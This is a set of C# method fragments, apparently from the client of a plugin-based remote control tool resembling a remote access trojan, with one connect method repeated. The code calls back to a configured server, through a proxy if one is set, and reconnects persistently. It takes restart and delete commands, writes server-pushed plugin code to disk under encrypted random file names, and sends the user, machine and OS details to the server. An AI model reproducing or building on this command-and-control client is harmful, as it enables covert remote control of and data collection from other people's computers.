public static bool ConnectWithProxy(string proxyIP, int proxyPort, string targetIp, int targetPort, string username = "", string password = "") { _client = new eSock.Client(); if (!_client.ConnectProxy(proxyIP, proxyPort, targetIp, targetPort, username, password)) { return(false); } try { object[] data = _client.Send((byte)NetworkHeaders.Handshake); if ((NetworkHeaders)data[0] != NetworkHeaders.AcceptHandshake) { return(false); } string encryptionKey = (string)data[1]; _client.Encryption.EncryptionKey = encryptionKey; _client.Encryption.Enabled = true; return(true); } catch { return(false); } }
public static bool Connect(string ip, int port) { _client = new eSock.Client(); if (!_client.Connect(ip, port)) { return(false); } try { object[] data = _client.Send((byte)NetworkHeaders.Handshake); if ((NetworkHeaders)data[0] != NetworkHeaders.AcceptHandshake) { return(false); } string encryptionKey = (string)data[1]; _client.Encryption.EncryptionKey = encryptionKey; _client.Encryption.Enabled = true; return(true); } catch { return(false); } }
private static void NetworkClient_OnConnect(eSock.Client sender, bool success) { if (success) { Console.WriteLine("Connected!"); foreach (var plugin in LoadedPlugins) { MLClientPlugin _plugin = plugin.Value; try { _plugin.ClientPlugin.OnConnect(); } catch (Exception ex) { DisplayException(_plugin, ex); } } networkClient.Send(Guid.Empty, (byte)NetworkPacket.Handshake); Console.WriteLine("handshake sent"); } else { Console.WriteLine("Failed to connect."); Thread.Sleep(5000); Connect(); } }
static void _client_OnDataRetrieved(eSock.Client sender, object[] data) { byte header = (byte)data[0]; if (header == (byte)PacketHeader.FileTransferResponce) { FileHandle = (int)data[1]; } }
static void Connect() { Console.WriteLine("Connecting..."); networkClient = new eSock.Client(); networkClient.BufferSize = 8192; networkClient.OnDataRetrieved += networkClient_OnDataRetrieved; networkClient.OnDisconnect += networkClient_OnDisconnect; networkClient.OnConnect += NetworkClient_OnConnect; networkClient.ConnectAsync(IP, Port); }
static void Connect() { Console.WriteLine("Connecting..."); networkClient = new eSock.Client(); networkClient.BufferSize = 8192; networkClient.OnDataRetrieved += networkClient_OnDataRetrieved; networkClient.OnDisconnect += networkClient_OnDisconnect; networkClient.OnConnect += NetworkClient_OnConnect; networkClient.ConnectAsync(IP, Port); }
static void networkClient_OnDisconnect(eSock.Client sender, System.Net.Sockets.SocketError ER) { foreach (var plugin in LoadedPlugins) { MLClientPlugin _plugin = plugin.Value; try { _plugin.ClientPlugin.OnDisconnect(); } catch (Exception ex) { DisplayException(_plugin, ex); } } Console.WriteLine("Lost connection..."); Thread.Sleep(5000); Connect(); }
static void networkClient_OnDataRetrieved(eSock.Client sender, object[] data) { try { Guid ID = (Guid)data[0]; if (ID == Guid.Empty) { var command = (NetworkPacket)data[1]; if (command == (byte)NetworkPacket.Restart) { Console.WriteLine("Restarting..."); //Console.ReadLine(); Process.Start(Assembly.GetExecutingAssembly().Location); Environment.Exit(0); } if (command == NetworkPacket.DeletePlugin) { Guid PluginID = (Guid)data[2]; if (LoadedPlugins.ContainsKey(PluginID)) { Console.WriteLine("Deleting plugin {0}", PluginID.ToString("n")); File.Delete(LoadedPlugins[PluginID].Path); } } if (command == NetworkPacket.UpdatePlugin) { Guid PluginID = (Guid)data[2]; byte[] Block = (byte[])data[3]; bool FinalBlock = (bool)data[4]; if (!PluginUpdates.ContainsKey(PluginID)) { Rijndael rij = new RijndaelManaged(); string encString = Guid.NewGuid().ToString("n"); byte[] encryptionKey = eSock.Hashing.MD5Hash(encString); rij.Key = encryptionKey; rij.IV = encryptionKey; ICryptoTransform crypto = rij.CreateEncryptor(); FileStream update = new FileStream( Path.Combine(PluginBaseLocation, string.Format("{0}.{1}", PluginID.ToString("n"), encString)), FileMode.Create); CryptoStream updateStream = new CryptoStream(update, crypto, CryptoStreamMode.Write); PluginUpdates[PluginID] = updateStream; Console.WriteLine("Started update for plugin id {0}", PluginID.ToString("n")); if (LoadedPlugins.ContainsKey(PluginID)) { File.Delete(LoadedPlugins[PluginID].Path); } } Console.WriteLine("Plugin block ({0} bytes) recieved. ID: {1}", Block.Length, PluginID.ToString("n")); PluginUpdates[PluginID].Write(Block, 0, Block.Length); if (FinalBlock) { PluginUpdates[PluginID].Flush(); PluginUpdates[PluginID].Close(); PluginUpdates[PluginID].Dispose(); PluginUpdates.Remove(PluginID); Console.WriteLine("Finished update for plugin id {0}", PluginID.ToString("n")); } } if (command == NetworkPacket.PluginsVerified) { /* * Dictionary<string, object> Settings = new Dictionary<string, object>() * { * {"Username", string.Format("{0}/{1}", Environment.UserName, Environment.MachineName)}, * {"OS", Environment.OSVersion.ToString() }, * {"Cores", Environment.ProcessorCount.ToString() }, * {"Path", Assembly.GetExecutingAssembly().Location } * }; * networkClient.SendWait(Guid.Empty, (byte)NetworkPacket.UpdateSettingsDictionary, Settings); * networkClient.SendWait(Guid.Empty, (byte)NetworkPacket.BasicSettingsUpdated); */ networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "Username", string.Format("{0}/{1}", Environment.UserName, Environment.MachineName)); networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "OS", Environment.OSVersion.ToString()); networkClient.Send(Guid.Empty, (byte)NetworkPacket.UpdateSetting, "Cores", Environment.ProcessorCount.ToString()); networkClient.Send(Guid.Empty, (byte)NetworkPacket.BasicSettingsUpdated); } if (command == NetworkPacket.Connect) { networkClient.Encryption.Key = (string)data[2]; networkClient.Encryption.Enabled = true; Console.WriteLine("Encryption Enabled: {0}", networkClient.Encryption.Enabled); Console.WriteLine("Encryption key set ({0})", networkClient.Encryption.Key); SendChecksums(); } } if (LoadedPlugins.ContainsKey(ID)) { try { LoadedPlugins[ID].ClientPlugin.OnDataRecieved((object[])data[1]); } catch (Exception ex) { DisplayException(LoadedPlugins[ID], ex); } } } catch (Exception ex) { DisplayException(null, ex); } }
static void _client_OnDisconnect(eSock.Client sender, System.Net.Sockets.SocketError ER) { Connected = false; }